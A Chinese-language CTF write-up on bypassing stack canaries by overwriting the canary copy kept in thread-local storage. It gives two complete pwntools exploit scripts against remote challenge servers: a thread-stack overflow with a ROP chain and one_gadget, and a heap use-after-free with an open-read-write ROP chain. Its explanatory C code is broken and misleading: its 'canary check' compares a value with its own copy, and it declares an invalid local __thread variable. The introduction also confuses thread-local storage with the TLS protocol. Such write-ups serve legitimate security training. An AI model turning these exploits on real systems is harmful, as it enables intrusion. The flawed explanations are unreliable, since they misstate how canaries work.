引言：什么是TLScanary？
在二进制漏洞利用（Pwn）领域，攻击者面临着层层防护措施的挑战。在安全竞赛（如CTF）和实际漏洞利用中，TLS（线程本地存储）和堆栈保护（stack canary）是常见的防护技术。TLScanary应运而生，它结合了TLS协议与堆栈保护技术，专门用于处理这些受保护的二进制文件，从而增加了攻击的难度。
可以说，TLS和canary在保护机制中有着密不可分的关系。
TLS（线程本地存储）是一种在线程内存中存储特定数据的机制。每个线程都有自己独立的TLS区域，用于存储与该线程相关的数据。这种机制在多线程程序中尤为重要，因为它确保每个线程都有自己独立的存储空间，而不会干扰其他线程的数据。
在堆栈保护方面，TLS常被用于存储堆栈canary值。堆栈canary是一种防止缓冲区溢出攻击的安全措施，它是一种在函数返回地址之前插入的特殊值。其作用类似于“哨兵”，如果缓冲区溢出覆盖了canary值，程序会在返回前检测到不一致，并立即终止执行，从而防止恶意代码的运行。
对于多线程的canary来说，每个线程的canary都是独立存在的。当一个线程被创建时，操作系统会为该线程分配一个独立的TLS区域，这个区域通常通过某种线程控制块（TCB）来管理。每个线程都有一个独立的TCB，从而确保了每个线程的canary值的独立性和安全性。
多线程环境中的TLS和Canary
在多线程环境中，每个线程的堆栈上都会有一个独立的canary值。操作系统或运行时库在为每个线程分配堆栈时，会在堆栈的适当位置插入一个canary值，以防止缓冲区溢出攻击。
下面我们看一段代码，展示了如何在多线程环境中使用TLS和canary：
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
// 生成随机canary值的函数
unsigned long generate_random_canary() { return (unsigned long)rand();
}
// 终止程序的函数
void terminate_program() { printf("Canary value has been modified. Terminating program.\n"); exit(1);
}
// 线程函数
void* thread_function(void* arg) { // 每个线程有自己独立的TLS区域 __thread int thread_local_variable = 0; // 在函数入口处插入canary值 unsigned long canary_value = generate_random_canary(); unsigned long expected_canary_value = canary_value; // 检查canary值是否被修改 if (canary_value != expected_canary_value) { terminate_program(); } // 线程的实际工作 // ... return NULL;
}
int main() { const int NUM_THREADS = 5; pthread_t threads[NUM_THREADS]; // 创建多个线程 for (int i = 0; i < NUM_THREADS; i++) { pthread_create(&threads[i], NULL, thread_function, NULL); } // 等待所有线程完成 for (int i = 0; i < NUM_THREADS; i++) { pthread_join(threads[i], NULL); } return 0;
}
可以看到，每个线程都有自己的TLS区域和独立的canary值，从而确保了多线程程序的安全性。
但是，多线程的canary通常也有被利用的时候，当程序创建线程的时候会创建TLS，TLS里面会存储有canary的值，而TLS会保存在stack高地址的地方那么就是说，如果我们可以通过溢出覆盖到TLS的位置那么就可以绕过canary，但是这个条件比较苛刻。
-
溢出字节够大，通常至少一个page（4K）
-
创建一个线程，在线程内栈溢出
所以一般来说还是比较安全的，但是不排除，有些疏忽的漏洞导致攻击者可以修改到stack_guard字段的内容，要了解stack_guard首先先看两个结构体。
struct pthread结构体解析
为了更好地理解TLS和canary的具体实现，我们需要了解struct pthread结构体。这个结构体包含了线程控制块（TCB）和其他相关信息。
#include <stddef.h> // 为了使用 size_t
/* Definition of the tcbhead_t structure (hypothetical) */
typedef struct { // 定义线程控制块头部结构体 // 可以根据实际情况进行定义 // 例如：线程ID、状态信息等 int thread_id; // 其他相关信息
} tcbhead_t;
/* Define the pthread structure */
struct pthread {
#if !TLS_DTV_AT_TP /* This overlaps the TCB as used for TLS without threads (see tls.h). */ tcbhead_t header; // 可能与TLS相关的头部信息
#else struct { // 更复杂的结构体定义 // 可能包含与TLS相关的更多详细信息 // ... } header;
#endif
/* Extra padding for alignment and potential future use */ void *__padding[24]; // 填充数组，用于对齐和可能的未来扩展
};
在这个结构体中，我们看到第一个字段是tcbhead_t，它包含了线程控制块（TCB）的相关信息。
tcbhead_t结构体解析
typedef struct { void *tcb; /* 指向线程控制块（TCB）的指针 */ dtv_t *dtv; /* 线程特定数据的指针 */ void *self; /* 指向线程描述符的指针 */ int multiple_threads; /* 标识是否有多个线程 */ int gscope_flag; /* 全局作用域标志 */ uintptr_t sysinfo; /* 系统信息 */ uintptr_t stack_guard;/* 堆栈保护 */ uintptr_t pointer_guard; /* 指针保护 */
/* 其他可能的字段... */
} tcbhead_t;
在这个结构体中，stack_guard字段存放的就是单线程的canary值。攻击者通常可以通过覆盖这个值的内容来绕过canary保护。
如何利用TLScanary进行攻击
要利用TLScanary进行攻击，攻击者需要找到覆盖或篡改canary值的方法，从而绕过堆栈保护。具体步骤如下：
-
定位canary值：找到目标程序中存放canary值的内存位置。
-
构造溢出：利用缓冲区溢出或其他漏洞覆盖canary值。
-
篡改canary值：将canary值修改为正确的值，避免程序检测到不一致。
-
执行攻击代码：利用篡改后的内存执行恶意代码。
对于多线程和单线程的canary利用，各用一个具体的题目演示一下
多线程TLScanary
题目保护情况（除pie外剩下全部开启）
64位ida反汇编看看
可以看见有创建线程的函数，pthread_create和加入线程的函数，pthread_join。下面介绍一下这两个函数
线程函数介绍
在多线程编程中，POSIX线程（Pthreads）库提供了一组函数，用于创建和管理线程。本文将介绍两个关键函数：pthread_create 和 pthread_join，以及它们在实际代码中的应用。
pthread_create 函数用于创建一个新线程，并指定线程的起始例程和参数。其原型如下：
int pthread_create(pthread_t *thread, const pthread_attr_t *attr, void *(*start_routine)(void *), void *arg);
参数说明：
-
pthread_t *thread：指向线程标识符的指针，用于存储创建的线程的ID。 -
const pthread_attr_t *attr：线程属性指针，可以用于设置线程属性。如果传入NULL，则使用默认属性。 -
void *(*start_routine)(void *)：指向线程起始例程的指针，即线程开始执行的函数。 -
void *arg：传递给起始例程的参数。
那么刚刚ida看见的代码意思就是
pthread_create 函数被调用以创建一个新线程，执行 start 函数。
创建线程后，主线程调用 pthread_join，等待新线程结束。
如果 pthread_join 返回非零值，则表示发生错误，可以在 if 语句中处理，打印处异常。
那么接下来看看加入的线程，start函数
那么可以看见给了一个很长的长度够我们溢出，很符合第一个多线程TLS canary攻击的前提。
分析：
我们可以通过覆盖线程canary来绕过canary，但是创建线程程序只能运行一次，而且每个线程的canary是独立的，也就意味着我们只能一条ROP链达到泄露地址执行one_gadget
思路：
1.覆盖线程TLS，修改canary的内容
2.在泄露libc地址的同时把one_gadget读入bss段上
3.进行栈迁移执行one_gadget
EXP：
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
libc = ELF('./libc6_2.27-3ubuntu1.5_amd64.so')
io =remote('pwn.challenge.ctf.show',28270)
elf =ELF('../pwn89')
puts_plt = elf.plt["puts"]
put_got = elf.got["puts"]
read_plt = elf.plt["read"]
leave = 0x400B71
pop_rdi_ret = 0x400be3
pop_rsi_r15_ret = 0x400be1
bss_addr = 0x602010
payload = b'a' * 0x1010 + p64(bss_addr - 0x8)+ p64(pop_rdi_ret) + p64(put_got) + p64(puts_plt)
payload += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(bss_addr) + p64(0) + p64(read_plt)
payload += p64(leave)
payload = payload.ljust(0x1900,b'a')
io.sendlineafter("send:\n",str(0x1900))
#sleep(1)
io.send(payload)
io.recvuntil("See you next time!\n")
puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
success('puts_addr------>'+hex(puts_addr))
one_gadget = puts_addr - libc.sym['puts'] + 0x10a2fc
io.sendline(p64(one_gadget))
io.interactive()单线程TLScanary
题目保护情况（保护全开）
64位ida反汇编
初看是堆的菜单，我们到具体函数分析一下
add函数，申请堆块的大小有限制，会创建另一个堆块存储我们堆块的指针
delete函数，存在明显的UAF漏洞
show函数，可以分别打印我们创建的堆块已经程序创建堆块的内容（后者只能用一次）
edit函数，存在一个很严重的漏洞，可以任意地址写，但是由于unsigned_int8类型指针的限制我们只能改一个字节
除此之外，read函数还有溢出，但是溢出长度不够
程序开了沙箱，不能直接获取shell，只能orw获取flag
分析：
存在UAF漏洞和打印函数，可以泄露heap地址和libc地址，可以通过任意地址写覆盖TLScanary，通过栈迁移，执行ORW
思路：
1.通过UAF漏洞，和show功能，分别泄露heap地址，和libc地址
2.通过任意地址写，覆盖 stack_guard，进而绕过canary
3.通过栈迁移，把程序流劫持到heap上使用orw获取flag
EXP：
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
libc =ELF('./libc-2.31.so')
#io = process('./binding')
io = remote('node5.buuoj.cn',26892)
def add(index,size,content): io.sendlineafter('choice:','1') io.sendlineafter('Idx:',str(index)) io.sendlineafter('Size:',str(size)) io.sendafter('Content:',content)
def edit(index,content1,content2): io.sendlineafter('choice:','2') io.sendafter('Idx:',index) io.sendafter('context1: ',content1) io.sendafter('context2: ',content2)
def show(rw,index): io.sendlineafter('choice:','3') io.sendlineafter('choice:',rw) io.sendlineafter('Idx:',str(index))
def free(index): io.sendlineafter('choice:','4') io.sendlineafter('Idx:',str(index))
#gdb.attach(io)
for i in range(6): add(i,0x100,'a')
for i in range(1,5): free(i)
#gdb.attach(io)
show('0',2)
io.recvuntil(': ')
heap_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x5d0
success('heap_base----->'+hex(heap_base))
#gdb.attach(io)
show('1',4)
io.recvuntil(': ')
libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 96 - 0x10 -libc.sym['__malloc_hook']
success('libc_base----->'+hex(libc_base))
TLS = libc_base + 0x1f3568
success('TLS----->'+hex(TLS))
pause()
pop_rdi = libc_base + 0x0000000000023b6a # pop rdi ; ret
pop_rsi = libc_base + 0x000000000002601f # pop rsi ; ret
pop_rdx = libc_base + 0x0000000000142c92 # pop rdx ; ret
leave_ret = libc_base + 0x00000000000578c8 # leave ; ret
#gdb.attach(io)
orw_payload = p64(pop_rdi) + p64(heap_base + 0x1010)+p64(pop_rsi) + p64(0)+p64(pop_rdx)+p64(0) +p64(libc.sym['open']+libc_base)
orw_payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x200)
orw_payload += p64(pop_rdx) + p64(0x30) + p64(libc.sym['read']+libc_base)
orw_payload += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(heap_base + 0x200) + p64(pop_rdx) + p64(0x30)
orw_payload += p64(libc.sym['write']+libc_base)
orw_payload = orw_payload.ljust(0xb0,b'a')
orw_payload += b'./flag\x00\x00'
add(6,0x120,orw_payload)
payload = b'0'.ljust(0x28, b'\x00') + p64(0) + p64(heap_base+0xf58) + p64(leave_ret)
edit(payload,p64(TLS),b'\x00'*8)
io.interactive()结语：
TLScanary结合了TLS和堆栈canary的技术，显著增加了二进制漏洞利用的难度。理解TLS和canary的工作原理，对于编写更安全的程序和防范攻击至关重要。无论是单线程的canary还是多线程的canary，都需要我们去重视
